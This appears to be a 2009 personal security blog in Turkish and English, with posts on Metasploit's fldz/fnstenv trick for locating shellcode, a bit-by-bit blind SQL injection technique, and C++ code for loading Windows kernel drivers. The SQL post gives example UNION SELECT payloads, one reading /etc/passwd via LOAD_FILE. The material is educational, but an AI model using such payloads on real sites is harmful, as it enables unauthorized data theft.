30 Eylül 2009 Çarşamba
Retrieving the "eip"...
Anyway, while I was digging some metasploit shellcodes, i find out this strange opcodes:
D9 EE fldz
D9 74 24 F4 fnstenv byte ptr [esp-0Ch]
5B pop ebx
After little search, I find out metasploit use this opcodes for retrieving the value of "EIP".
-fldz loads current float register with zeros.
-fnstenv stores a structure about float processing unit status to given address.
-and pop pops :)
The structure includes:
24 -> fpu operand pointer selector
20 -> fpu operand pointer offset
16 -> fpu instruction pointer selector
12 -> fpu instruction pointer offset
08 -> tag word
04 -> status word
00 -> control word
So with loading the struct to [esp-0C], esp points to last executed code address on fpu which is "fldz" in this case.
Actually it does not give us the current eip but metasploit use this opcodes for first three of shellcode so they can save where the shellcode really begins.
To retrieve current eip, this kind of code can be used:
call label1
label1:
pop ebx.
19 Haziran 2009 Cuma
Sql injection bit-by-bit
Geçenlerde elime bir doküman geçti sql injection ile alakalı. Pratikte deneme fırsatım olmadı fakat yöntem olarak oldukça ilginç ve zekice bulduğumdan burada bahsetmek gereği duydum.
Öncelikle ortamdan bahsedeyim. Bir içerik yönetim sistemimiz(yazının verdiği örneğe bağlı kalmak açısından) olsun ve aşağıdaki gibi bir http request gönderdiğimizde hemen altındaki gibi cevap alıyoruz olalım.
GET http://host/getdocument.php?id=0
header: Location : http://host/documents/identity_en.pdf
GET http://host/getdocument.php?id=22
header: Location : http://host/error404.php
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,0
header: Location : http://host/documents/identity_en.pdf
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,1
header: Location : http://host/documents/identity_de.pdf
Basit olarak açıklamak gerekirse :
*Kullanıcı bir id belirtir,
*getdocument.php bu id ye karşılık veritabanından dosya adını ve dosya dilini ifade eden bir integer geri döndürür,
*sayfa bu verileri kullanarak bir url oluşturur ve kullanıcıyı bu url ye yönlendirir.
Yukarıdaki örnekleri incelersek, evet url sql injection a müsait fakat burada standart sql injection uygulayarak elde edebileceğimiz tek şey zaten varlığını bildiğimiz bir dökümandır.
Şimdi veritabanından gelen ikinci veri olan integer, eğer 0 ise bu url ye ‘en’ ekinin, 1 ise ‘de’ ekinin eklenmesini sağlıyor.Bunu nasıl kullanabiliriz? Bilgisayar ortamındaki her şeyin 0 ve 1 lerle ifade edilebildiğini hatırlarsak, yazı baya baya anlamlı olmaya başlıyor.
Bir sonraki örneklerde binary değer “01000001” olan ascii “A” yı kullanarak bakalım neler elde edebiliyoruz.
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,(SELECT ASCII(‘A’) >> 7 & 1)
header: Location : http://host/documents/identity_en.pdf
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,(SELECT ASCII(‘A’) >> 6& 1)
header: Location : http://host/documents/identity_de.pdf
Görüleceği üzere right-shift olayını 7 den 0 kadar iterate ettiğimizde elimizde sırası ile şu dosyalar olacak.:“en,de,en, en, en, en, en,de”
Buna artı olarak bir verinin boyutunu “LENGTH()” methoduyla alabildiğimizi ve bu method sonunda 32 bitlik(int) bir veri elde edebileceğimizi hatırlarsak, ne kadar iterate etmemiz gerektiği sorununu da çözmüş oluyoruz.
Sonuç olarak şöyle bir request hiçde şaşırtıcı gelmeyecektir.
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,(SELECT LOAD_FILE(‘/etc/passwd’) >> 3300 & 1)
Geri dönen url yönlendirmelerinin değerine bakarak 3300 sayılı bitte 0 yada 1 olduğunu bulduktan sonra, değerleri bit-by-bit uç-uca eklersek ne elde edeceğimiz malum.
Bunu dosya boyutu kadar iterate edecek script yazmak çokta zor olmasa gerek.
Derdimi anlatamama ihtimaline karşı orjinal dokumanı Dosyalarım bölümüne ekliyorum.
25 Mayıs 2009 Pazartesi
Farkındamısınız?
Semineri yapan da yanlış hatırlamıyorsam Anne Skare Neilsen adında bir hanım ablamızdı.
Kişi isimlerini çoğu zaman hatırlayamasam da bu sahsın adı nedense hatırımda kalmış :) Seminer sırasında şeker dağıtmasından olsa gerek. Her ne kadar şeker alamasam da etkisi olmuş ki hatırlıyoruz demi :) Kendisi futurist imiş.(Bu ünvan ile de ilk defa o zaman karşılaşmıştım.) Ha ne diyordum video değil mi... :)
25 Nisan 2009 Cumartesi
Programatik olarak driver yükleme
Rootkitlerle veya daha genel anlamda driverlarla uğraşmış olanlar ‘sc create|start|delete|….’ komut varyasyonunun makina üzerindeki sürücüleri kontrol etmede kullanıldığını bilir. Sürekli şekilde driver yükleyip silenlerden iseniz bu yöntem can sıkmaya başlayabiliyor. Peki o zaman napalım: Bu işlemin programatik şekilde nasıl yapılacağına bakalım.
Şöyle küçük bir sınıf yazıp static fonksiyonları üzerinden işimizi halledebiliriz sanırım.
#include "windows.h"
#include "iostream"
#include "string"
#include "stdio.h"
using namespace std;
class Driver{
public:
static DWORD Install(IN LPCTSTR, IN LPCTSTR);
static DWORD Start(IN LPCTSTR);
static DWORD Open( IN LPCTSTR, HANDLE *);
static DWORD Stop(IN LPCTSTR);
static DWORD Remove(IN LPCTSTR);
};
Aşağıdaki kodu incelediğinizde de anlayacağınız üzere her bir fonksiyon öncelikle “Service Control Manager” açıyor ve onun üzerinden işini görüyor.
#include "stdafx.h"
#include "InstallDriver.h"
#include "winuser.h"
#include "stdlib.h"
DWORD Driver::Install(IN LPCTSTR DriverName, IN LPCTSTR ServiceExe){
SC_HANDLE hSCManager,hService;
TCHAR data[80];
DWORD dw=0;
hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if(hSCManager==NULL)
return GetLastError();
hService = CreateService( hSCManager, // SCManager database
DriverName, // name of service
DriverName, // name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_KERNEL_DRIVER, // service type
SERVICE_DEMAND_START, // start type
SERVICE_ERROR_NORMAL, // error control type
ServiceExe, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL // no password
);
if(hService==NULL){
dw=GetLastError();
CloseServiceHandle(hSCManager);
return dw;
}
CloseServiceHandle( hService );
CloseServiceHandle(hSCManager);
return dw;
}
//Sürücünün doğru bir şekilde yüklenip yüklenmediğini kontrol etmek için
DWORD Driver::Open( IN LPCTSTR DriverName, HANDLE * lphDevice )
{
TCHAR completeDeviceName[64];
HANDLE hDevice;
DWORD dw=0;
//Burada ABC ismindeki bir sürücünün \DosDevices\ABC adında bir
//sembolik link oluşturduğunu varsayıyoruz. Tabi böyle bir varsayım
//yerine QueryDosDevice komutuyla varolan sembolik linkleri çekebilirdik.
if( (GetVersion() & 0xFF) >= 5 )
wsprintf( completeDeviceName, TEXT("\\\\.\\Global\\%s"), DriverName );
else
wsprintf( completeDeviceName, TEXT("\\\\.\\%s"), DriverName );
hDevice = CreateFile( completeDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL
);
if ( hDevice == INVALID_HANDLE_VALUE)
return GetLastError();
if ( lphDevice )
*lphDevice = hDevice;
else
CloseHandle( hDevice );
return dw;
}
DWORD Driver::Start( IN LPCTSTR DriverName){
SC_HANDLE hSCManager;
SC_HANDLE hService;
BOOL ret;
DWORD dw=0;
hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if(hSCManager==NULL)
return GetLastError();
hService = OpenService( hSCManager,DriverName,SERVICE_ALL_ACCESS );
if ( hService == NULL ){
dw=GetLastError();
CloseServiceHandle(hSCManager);
return dw;
}
ret = StartService( hService, 0, NULL );
dw=ret?0:GetLastError();
CloseServiceHandle( hService );
CloseServiceHandle(hSCManager);
return dw;
}
DWORD Driver::Stop(IN LPCTSTR DriverName){
SERVICE_STATUS serviceStatus;
SC_HANDLE hSCManager;
SC_HANDLE hService;
BOOL ret;
DWORD dw=0;
hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if(hSCManager==NULL)
return GetLastError();
hService = OpenService( hSCManager,DriverName,SERVICE_ALL_ACCESS );
if ( hService == NULL ){
dw=GetLastError();
CloseServiceHandle(hSCManager);
return dw;
}
ret = ControlService( hService, SERVICE_CONTROL_STOP, &serviceStatus );
dw=ret?0:GetLastError();
CloseServiceHandle( hService );
CloseServiceHandle(hSCManager);
return dw;
}
DWORD Driver::Remove(IN LPCTSTR DriverName){
SC_HANDLE hSCManager;
SC_HANDLE hService;
BOOL ret;
DWORD dw=0;
hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if(hSCManager==NULL)
return GetLastError();
hService = OpenService( hSCManager,DriverName,SERVICE_ALL_ACCESS );
if ( hService == NULL ){
dw=GetLastError();
CloseServiceHandle(hSCManager);
return dw;
}
ret = DeleteService( hService );
dw=ret?0:GetLastError();
CloseServiceHandle( hService );
CloseServiceHandle(hSCManager);
return dw;
}
Kullanıma örnek olarakta aşağıdaki resimdeki gibi arayüze sahip bir program yazılabilir.
Proje dosyasına Dosyalarım bölümünden erişilebilir.